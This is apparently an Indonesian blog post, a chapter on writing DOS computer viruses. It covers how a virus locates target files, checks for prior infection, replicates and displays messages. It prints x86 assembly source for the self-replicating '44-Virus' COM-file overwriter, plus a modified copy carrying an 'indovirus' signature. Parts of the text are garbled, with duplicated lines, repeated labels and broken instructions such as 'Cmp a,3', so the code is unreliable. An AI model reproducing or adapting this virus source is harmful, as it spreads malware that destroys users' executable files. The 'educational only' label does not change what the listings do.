PEMPROGRAMAN VIRUS KOMPUTER
4. 1. Cara Kerja Virus Komputer
Cara kerja Virus Komputer pada umumnya adalah
menyebarkan dirinya dengan cara antara lain menularkan file-file
executable atau file-file yang bisa dijalankan langsung dari DOS Command
line . Untuk memperjelas mekanisme penyebaran di ilustrasikan pada
gambar dibawah ini :
Gambar 4.1. Mekanisme Penularan
Sudah jadi sifat virus jika dia dijalankan, maka ia
menulari program aplikasi yang lain, yang di maksud menulari adalah
menyalin dirinya atau program virus tersebut ke program aplikasi
lainnya, jika dalm hal ini yang tertular adalah program Aplikasi 1, maka
apabila program aplikasi 1 tersebut dijalankan, maka program aplikasi 1
yang sudah serinfeksi virus itu akan menularkan virus pada program
aplikasi yang ke 2 , maka baik program aplikasi 1 maupun 2, sudah
merupakan program pemikul bagi virus itu sendiri, yang akan menularkan
seluruh program aplikasi yang ada.
Agar bisa bertindak sebagai virus komputer, sebuah
program harus mempunyai 5 buah kemampuan yang merupakan prinsip dari
virus komputer. Kelima kemampuan itu adalah :
-
Kemampuan mendapatkan informasi
-
Kemampuan memeriksa program
-
Kemampuan menggandakan diri / menularkan
-
Kemampuan mengadakan manipulasi
-
Kemampuan menyembunyikan diri sendiri
Satu persatu kemampuan itu akan dijelaskan pada subbab selanjutnya
4. 1.1. Kemampuan mendapatkan Informasi
Pada Virus Komputer kemampuan untuk mendapatkan
informasi sangat penting, terutama informasi mengenai file yang akan
diinfeksi, Virus Komputer biasa nya tidak menulari 1 program saja, tapi
sekumpulan program, contohnya File-file EXE, file-file COM, atau
kedua-duanya, virus harus mendapatkan informasi tentang file tersebut
pada directory, hal-hal mengenai informasi pada file yang perlu
diketahui antara lain :
1. Apakah Extensi File tersebut ( COM,EXE, BAT)
2. Apa Atribut file ( Hidden, Readonly, Archive)
3. Besar File Yang akan Di infeksi
2. Apa Atribut file ( Hidden, Readonly, Archive)
3. Besar File Yang akan Di infeksi
Informasi tersebut sangat bermanfaat bagi virus,
dimana informasi mengenai Extension file berguna untuk virus yang
menyerang file-file tertentu contohnya virus yang menyerang file EXE,
virus tersebut harus mencari file-file EXE yang akan ditulari.
Informasi attribut berguna untuk memberikan pilihan
pada virus apakah dapat menyerang file dengan attribut Readonly, Hidden
ataukan virus harus mengeset attribut file-file tersebut menjadi Normal,
sehingga virus dapat menulari.
Informasi tentang ukuran file berguna untuk operasi matematis yang akan menghitung berapa besar file yang sudah tertular, dimana
Besar_file_terinfeksi = file_asli + Virus_size
Fungsi ini terutama dipakai oleh virus Non
OverWriting. Dibawah ini cuplikan metode virus untuk mendapatkan
informasi tentang File :
Mov cx, 3 ; Attribut File ; cari host file
———
int 21h ; Dos Intrupt
cmp ax,12h ; Ada file lagi
cmp ax,12h ; Ada file lagi
je exit ; kalau tidak ada exit
———
file_to_infect db “*.COM” ; File yang akan diinfeksi
ends start ; akhir kode Virus
ends start ; akhir kode Virus
Listing 4.1. Search First File
Dimana Dx menuju ke alamat yang berisi nama file yang akan di infeksi, sedangkan disini di gunakan DOS Interupt 21H dengan Service ah, 4EH yang berguna untuk mencari file pertama yang cocok dengan DX ( Find First Matching File),
dan mendapat kan informasi tentang file yang berada di dalam directory,
biasanya fungsi 4Eh ini selalu berpasangan dengan 4Fh, yaitu fungsi
untuk mencari file berikutnya yang cocok ( Find Next Maching File), sedangkan nilai CX,3 digunakan untuk mengecek attribut dari file, apakah Hidden, ReadOnly, virus dapt mengeset kembali attribut file menjadi normal, sehingga virus dapat menginfeksi file tersebut.
4. 1. 2. Kemampuan Untuk Memeriksa Program
Kemampuan untuk memeriksa program sangat penting bagi
Virus Komputer , karena untuk mengetahui apakah file target sudah
tertular atau belum, ini sangat penting karena virus tidak akan
menularkan dirinya berkali-kali pada file yang sama, selain untuk
mempercepat proses penularan juga untuk menjaga agar file korban tidak
rusak, karena apabila penularan dilakukan berulang-ulang pada file yang
sama, CRC dari file tersebut akan kacau dan menyebabkan file yang
tertular tidak jalan, biasaanya file rusak tersebut akan mengeluarkan
pesan Divide Over Flow, atau Error in Exe File, selain itu file
yang berkali-kali diifeksi akan bertambah besar, dan akan mencurigakan
pemakai komputer. Seperti digambarkan dalam flowchart berikut ini :
Gambar 4.2. Memeriksa Program
Berikut ini contoh listing dari kemampuan untuk memeriksa file
Mov ah, 3fh ; Baca file
Mov cx, 3 ; baca 3 byte
Mov dx,3_byte ; simpan pada buffer
Add dx,si ; Nama file
Int 21h ; Dos intrupt
Cmp a,3 ; Cek 3 byte tadi
Jnz cari_lagi ; Jika sudah tertular exit
Jmp Infect ; kalau belum , infect_file
3_byte equ $ ;data 3 byte pertama dari file asli
;yang belum tertular
infect_file : ; bagian penginfeksian
———— ; rutin infeksi
int 20h ; Dos Exit function
nop ; No Operation
Listing 4.2 . Periksa File
Pada rutin diatas dapat dilihat bagai mana Virus
Komputer memeriksa file korbannya, untuk memberikan identitas file mana
yang sudah terinfeksi maupun yang belum, karena dengan memeriksa file
korban, umumnya 3 byte pertama yang menandakan file tersebut sudah
tertular / belum, 3 byte pertama tersebut umumnya intruksi JMP : offset (Untuk file COM) , kode ‘MZ’ pada header file EXE dan PE untuk File Aplikasi Windows
Rutin ini sangat penting untuk menghindari penularan
berkali-kali pada file korban, juga untuk menpercepat penularan. Rutin
ini dipakai oleh 90 % virus komputer untuk menularkan diri.
4. 1. 3. Kemampuan untuk menggandakan diri / Replicating
kemampuan ini merupakan inti utama dari Virus
Komputer , karena virus komputer memang diprogram untuk menularkan, dan
memperbanyak dirinya. Tugas dari rutin replicating ini adalah
menyebarkan virus keseluruh system yang ditularinya, tugas dari rutin
ini sangat berat karena rutin tersebut harus mampu menyebarkan virus
dengan cepat dan tidak diketahui oleh pemakai komputer, selain itu rutin
replicator harus dapat menjaga agar file yang ditularinnya tidak rusak (
Rutin untuk Virus Appending / NonOverwriting ), dan dapat berjalan
sebagaimana mestinnya.
Cara kerja rutin replicator pada file COM lebih
sederhana dari file EXE, karena struktur program EXE yang tidak terbatas
besarnya yaitu ( sebesar memory di komputer ), sedangkan file COM hanya
dibatasi sampai 64 Kb ( Base memory ). Rutin replikator pada file COM
akan menditeksi dan mengcopy byte pertama dari file yang akan
ditularinya, kedalam suatu daerah di memory, rutin tersebut dipindahkan
kedalam daerah lain dalam file.
File bersih program Virus
Pada diagram diatas P1 adalah bagian pertama dari
file, P2 adalah bagian kedua dari file korban. P1 harus sama besar
dengan V1 (rutin virus) , rutin virus akan menyimpan P1 dan mengcopynya
pada bagian akhir dari file.
Setelah itu virus akan mengcopykan bagian pertama
dari dirinya (V1) ke bagian awal file korban. Dimana V1 berisi instruksi
JMP:V2, yaitu instruksi untuk memanggil badan Virus yang ada di
belakang file korban.
Kemudian virus akan mengcopykan bagian kedunya (V2)
yang merupakan badan virus ke akhir file yang ditulari, V2 ini biasanya
berisi rutin-rutin lain seperti rutin untuk pengaman, rutin untuk
melakukan aksi tertentu dan lain-lain. Rutin tersebut dapat dilihat
dibawah ini :
Dalam program dapat diambil contoh 44-Virus.Com ,
yang merupakan virus sepanjang 44 byte, dengan cara kerja Overwriting
file Com yang ada dalam suatu directory sepanjang badan Virus itu
sendiri yaitu 44 Byte, virus ini masih sangat sederhana dan belum
mempunyai rutin-rutin pengaman, maupun kemampuan untuk memeriksa
program, ataupun rutin untuk aksi-aksi tertentu , dalam contoh dibawah
ini virus hanya mempunyai kemampuan untuk menulari file Com.
Namun demikian dapat kita lihat bagaimana virus akan berkembang dengan cara menggandakan dirinya dalam program Com.
Berikut ini listing dari 44-Virus.Asm :
virus segment
org 100h ; file COM
assume cs:virus
len equ offset last-100h ;Panjang virus = Akhir program – awal programorg 100h ; file COM
assume cs:virus
start : mov ah,04eh ; Cari file dengan kategori file COM
xor cx,cx ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask ; Nama file COM masukan ke register DX
int 21h ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
Infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start ; Masukan header Virus “V1″ pada DX
Mov ah,40h ; Tulis badan virus dalam file korban
Int 21h ; Dos Intrupt
Next : mov ah,3eh ; Tutup file korban
int 21h
mov ah,4fh ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ? kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : db 090h ; Akhir badan virus “V2″
virus ends
last : db 090h ; Akhir badan virus “V2″
virus ends
end start
Listing 4.3. Replicating / Penggandaan
4. 1. 4. Kemampuan Mengadakan Manipulasi
Kemampuan untuk mengadakan manipulasi sangat penting
dilakukan oleh virus, karena bagian ini sebetulnya yang membuat virus
komputer menarik, dan mempunyai seni dalam pembuatannya. Bagian
manipulasi atau rutin manipulasi ini banyak macamnya, dan fungsinya,
suatu virus dapat mempunyai salah satu diantara rutin-rutin manipulasi
ini maupun gabungan antara rutin-rutin manipulasi tersebut. yang pasti,
makin banyak rutin manipulasi yang dipakai oleh virus, maka akan makin
besar ukuran virus yang dibuat. Diantara rutin-rutin manipulasi yang
ada, yang sering digunakan adalah :
-
Menampilkan tulisan / kata-kata / gambar
-
Membunyikan port speaker
-
Time bomb / logic Bomb
4.1.4.1. Menampilkan Tulisan / gambar
Rutin ini yang paling banyak dipakai oleh pembuat
Virus Komputer , karena rutin ini selain untuk kepopularitas virus
maupun pembuatnya, juga akan membuat virusnya mudah dikenal oleh para
pemakai komputer, selain itu rutin ini membutuhkan suatu kreatifitas
tinggi dan jiwa seni dari pembuatnya yang akan membuat virus ini akan
menarik. Listing program dibawah ini akan memberikan contoh pembuatan
rutin ini.
virus segment
org 100h
assume cs:virus
org 100h
assume cs:virus
len equ offset last-100h ; Panjang virus = Akhir program – awal program
start : jmp mulai
start : jmp mulai
msg db ‘ Modification of 44 Virus ‘,13,10
db ‘ © 2000,iwing[indovirus] ’,13,10
db ‘ – For Educational Only -$’,13,10
db ‘ © 2000,iwing[indovirus] ’,13,10
db ‘ – For Educational Only -$’,13,10
mulai : mov ah,09 ; Dos service 09h = Cetak String
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
go : mov ah,04eh ; Cari file dengan kategori file COM
xor cx,cx ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask ; Nama file COM masukan ke register DX
int 21h ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start ; Masukan header Virus “V1″ pada DX
mov ah,40h ; Tulis badan virus dalam file korban
Int 21h ; Dos Intrupt
Next : mov ah,3eh ; Tutup file korban
int 21h
mov ah,4fh ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ?,kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
go : mov ah,04eh ; Cari file dengan kategori file COM
xor cx,cx ; cx 0, = hanya file dengan atrribut Normal
lea dx,com_mask ; Nama file COM masukan ke register DX
int 21h ; Dos Intrupt
open_file : mov ax,3d02h ; Buka file dengan mode Baca/Tulis
mov dx,9eh
Int 21h
infect : mov cx,len ; cx diisi panjang badan virus
lea dx,start ; Masukan header Virus “V1″ pada DX
mov ah,40h ; Tulis badan virus dalam file korban
Int 21h ; Dos Intrupt
Next : mov ah,3eh ; Tutup file korban
int 21h
mov ah,4fh ; Cari file korban lagi
int 21h
jnb open_file ; Apa sudah semua file Com ?,kalau belum jmp ke Open_file
; Kalau sudah semua terinfeksi Exit
com_mask: db “*.COM”,0 ; File dengan ekstensi Com
last : int 20h ; Akhir badan virus “V2″
last : int 20h ; Akhir badan virus “V2″
virus ends
end start
Listing. 4.4. Rutin Cetak String
Pada listing program virus diatas dapat dilihat, modifikasi dari virus 44 byte
Dengan tambahan rutin untuk menampilkan string :
Dengan tambahan rutin untuk menampilkan string :
Modification of 44 Virus
© 2000,iwing[indovirus]
-For Educational Only –
© 2000,iwing[indovirus]
-For Educational Only –
setiap kali penularan. Disini dapat dilihat rutin yang menampilkan pesan tadi yaitu
mulai : mov ah,09 ; Dos service 09h = Cetak String
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
lea dx,msg ; dx berisi pesan yang akan dicetak
int 21h ; Dos intrupt
No comments:
Post a Comment